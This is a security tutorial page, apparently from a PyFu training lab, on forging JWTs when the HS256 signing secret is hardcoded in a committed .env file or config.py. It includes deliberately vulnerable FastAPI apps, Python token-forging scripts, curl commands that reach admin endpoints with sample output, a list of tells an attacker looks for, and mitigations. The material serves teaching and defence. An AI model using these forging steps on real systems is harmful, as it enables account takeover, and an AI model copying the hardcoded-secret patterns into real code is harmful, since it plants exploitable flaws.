PyFu

Authentication Bypass via JWT Hardcoded Secret

Python-based Web Application Attacks

As covered in Introduction to JSON Web Tokens in Python, an HS256 token is only as trustworthy as the secret used to sign it. The server proves a token is authentic by recomputing the HMAC with that shared secret, so anyone who knows the secret can mint tokens the server will accept as genuine.

JWT security fundamentally depends on the secrecy of the signing key. When developers hardcode secrets in source code or configuration files that get committed to version control, attackers who gain access to the codebase can forge valid tokens for any user.

This vulnerability commonly manifests in two patterns: secrets stored in .env files that get accidentally committed, or secrets defined directly in configuration modules like config.py.

Case 1: Secret Loaded from .env File

Environment files are intended to keep secrets out of source code, but they frequently get committed to repositories by mistake or included in backups and deployments.

Consider this project structure:

project/
├── .env
├── app.py
└── requirements.txt

The .env file contains the JWT secret:

# .env
JWT_SECRET=my-super-secret-jwt-key-2024
DATABASE_URL=postgresql://user:pass@localhost/db
DEBUG=false

The FastAPI application loads this secret:

# app.py
from fastapi import FastAPI, HTTPException, Header
from pydantic import BaseModel
from dotenv import load_dotenv
import jwt
import os

load_dotenv()

app = FastAPI(title="User API")

# Secret loaded from .env file
JWT_SECRET = os.getenv("JWT_SECRET")

class TokenData(BaseModel):
    user_id: str
    role: str

@app.get("/api/admin/dashboard")
def admin_dashboard(authorization: str = Header(...)):
    """Admin-only endpoint."""
    if not authorization.startswith("Bearer "):
        raise HTTPException(status_code=401, detail="Invalid header format")
    
    token = authorization.split(" ")[1]
    
    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
    except jwt.InvalidTokenError:
        raise HTTPException(status_code=401, detail="Invalid token")
    
    if payload.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Admin access required")
    
    return {"message": "Welcome to admin dashboard", "user": payload.get("user_id")}

@app.post("/api/login")
def login(username: str, password: str):
    """Authenticate user and return JWT."""
    # Simplified auth logic
    if username == "admin" and password == "admin123":
        token = jwt.encode(
            {"user_id": username, "role": "admin"},
            JWT_SECRET,
            algorithm="HS256"
        )
        return {"access_token": token}
    
    raise HTTPException(status_code=401, detail="Invalid credentials")

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)

If an attacker gains access to the .env file through:

  • Accidental commit to public repository
  • Directory traversal vulnerability
  • Backup file exposure
  • Server misconfiguration exposing dotfiles

They can extract JWT_SECRET=my-super-secret-jwt-key-2024 and forge tokens:

import jwt

# Extracted secret from .env
SECRET = "my-super-secret-jwt-key-2024"

# Forge admin token
forged_token = jwt.encode(
    {"user_id": "attacker", "role": "admin"},
    SECRET,
    algorithm="HS256"
)

print(forged_token)

Case 2: Secret Defined in config.py

Another common pattern is defining secrets directly in Python configuration modules that get committed to version control.

Project structure:

project/
├── config.py
├── app.py
└── requirements.txt

The configuration module contains hardcoded secrets:

# config.py
class Config:
    DEBUG = False
    DATABASE_URI = "postgresql://localhost/production"
    JWT_SECRET_KEY = "hardcoded-secret-key-never-do-this"
    JWT_ALGORITHM = "HS256"
    TOKEN_EXPIRY_HOURS = 24

class DevelopmentConfig(Config):
    DEBUG = True
    DATABASE_URI = "sqlite:///dev.db"

class ProductionConfig(Config):
    DATABASE_URI = "postgresql://prod-server/production"
    # Developer forgot to override the secret!

The FastAPI application imports from config:

# app.py
from fastapi import FastAPI, HTTPException, Header, Depends
from fastapi.security import HTTPBearer
from pydantic import BaseModel
from config import ProductionConfig as settings
import jwt

app = FastAPI(title="Enterprise API")
security = HTTPBearer()

class UserProfile(BaseModel):
    user_id: str
    email: str
    role: str

def get_current_user(authorization: str = Header(...)) -> dict:
    """Extract and validate JWT from Authorization header."""
    if not authorization.startswith("Bearer "):
        raise HTTPException(status_code=401, detail="Invalid header")
    
    token = authorization.split(" ")[1]
    
    try:
        payload = jwt.decode(
            token,
            settings.JWT_SECRET_KEY,
            algorithms=[settings.JWT_ALGORITHM]
        )
        return payload
    except jwt.ExpiredSignatureError:
        raise HTTPException(status_code=401, detail="Token expired")
    except jwt.InvalidTokenError:
        raise HTTPException(status_code=401, detail="Invalid token")

@app.get("/api/users/me", response_model=UserProfile)
def get_my_profile(current_user: dict = Depends(get_current_user)):
    """Get current user's profile."""
    return UserProfile(
        user_id=current_user.get("sub"),
        email=current_user.get("email", ""),
        role=current_user.get("role", "user")
    )

@app.get("/api/admin/secrets")
def get_application_secrets(current_user: dict = Depends(get_current_user)):
    """Admin endpoint exposing sensitive configuration."""
    if current_user.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Forbidden")
    
    return {
        "database_uri": settings.DATABASE_URI,
        "debug_mode": settings.DEBUG
    }

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)

An attacker who obtains access to config.py can extract the secret and forge tokens:

import jwt
from datetime import datetime, timedelta

# Extracted from config.py
SECRET = "hardcoded-secret-key-never-do-this"
ALGORITHM = "HS256"

# Forge a token with admin privileges
payload = {
    "sub": "attacker",
    "email": "attacker@evil.com",
    "role": "admin",
    "exp": datetime.utcnow() + timedelta(hours=24)
}

forged_token = jwt.encode(payload, SECRET, algorithm=ALGORITHM)
print(f"Forged admin token: {forged_token}")

Exploitation

With the forged token, the attacker can access protected endpoints:

# Using token forged with secret from .env
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

curl -X GET http://target:8000/api/admin/dashboard \
  -H "Authorization: Bearer $TOKEN"

# Using token forged with secret from config.py
curl -X GET http://target:8000/api/admin/secrets \
  -H "Authorization: Bearer $TOKEN"

Proof of exploitation

Run the lab app (PyFuLabs/fastapi-fu/fastapi-jwt-hardcoded-secret). The signing secret is committed in config.py ("hardcoded-secret-key-never-do-this"), so anyone with the source mints a valid admin token without logging in:

# forge an admin token with the leaked secret
python3 -c 'import jwt;print(jwt.encode({"sub":"attacker","role":"admin"},"hardcoded-secret-key-never-do-this",algorithm="HS256"))'

curl -s http://pyfu.local/fastapi-fu/fastapi-jwt-hardcoded-secret/api/admin/secrets \
  -H "Authorization: Bearer <forged-token>"
{"database_uri":"postgresql://prod-server/production","debug_mode":false}

The forged token verified and the admin-only endpoint returned the application secrets.

Why hardcoded JWT secrets matter from an offensive security perspective

A hardcoded HMAC secret is the cleanest JWT win there is, and I prize it because it skips the cracking entirely. With Cracking Weak JWT Signing Keys I still gamble on a wordlist hitting; with a leaked secret the signing key is in my hand verbatim, so every token I forge verifies on the first try. The payoff is total: I jwt.encode any sub and role: admin I want and the server treats it as a token it issued. That is silent, persistent account takeover with no login, no brute force, and nothing in the auth logs but a valid request.

What makes this so common is that the secret leaks through channels that have nothing to do with the running app. The token verification can be flawless and the box can be fully patched; if the secret sits in a committed .env, a config.py, a CI variable echoed in build logs, or a backup tarball, the whole scheme is already broken. This is why I always treat secret recovery as a source and infrastructure problem first, not a crypto one.

These are the tells I look for:

  • A string literal passed as the signing key. jwt.encode(..., "hardcoded-secret-key-never-do-this", ...) or a Config.JWT_SECRET_KEY = "..." in a module that ships in the repo.
  • A ProductionConfig that inherits the secret without overriding it. The developer overrode the database URI and forgot the key, so production signs with the sample value from the base class.
  • .env not in .gitignore, or a .env reachable over HTTP. Dotfile exposure, directory traversal, or backup files put JWT_SECRET= one request away.
  • The same secret across dev, staging, and prod. Recovering it anywhere, including a low-value test box, forges tokens everywhere.

The defender takeaway: a signing secret that ever touched version control or a build log is compromised and must be rotated, because verifying signatures perfectly is worthless once the attacker holds the key.

Mitigation

For .env files:

  • Add .env to .gitignore before first commit
  • Use .env.example with placeholder values for documentation
  • Rotate secrets if .env was ever committed
# .gitignore
.env
.env.local
.env.production

For configuration files:

  • Never hardcode secrets in source code
  • Load secrets from environment variables at runtime
  • Use secret management services (AWS Secrets Manager, HashiCorp Vault)
# config.py - Secure pattern
import os

class Config:
    JWT_SECRET_KEY = os.environ.get("JWT_SECRET_KEY")
    
    if not JWT_SECRET_KEY:
        raise ValueError("JWT_SECRET_KEY environment variable is required")

Generate strong, random secrets:

import secrets
print(secrets.token_urlsafe(32))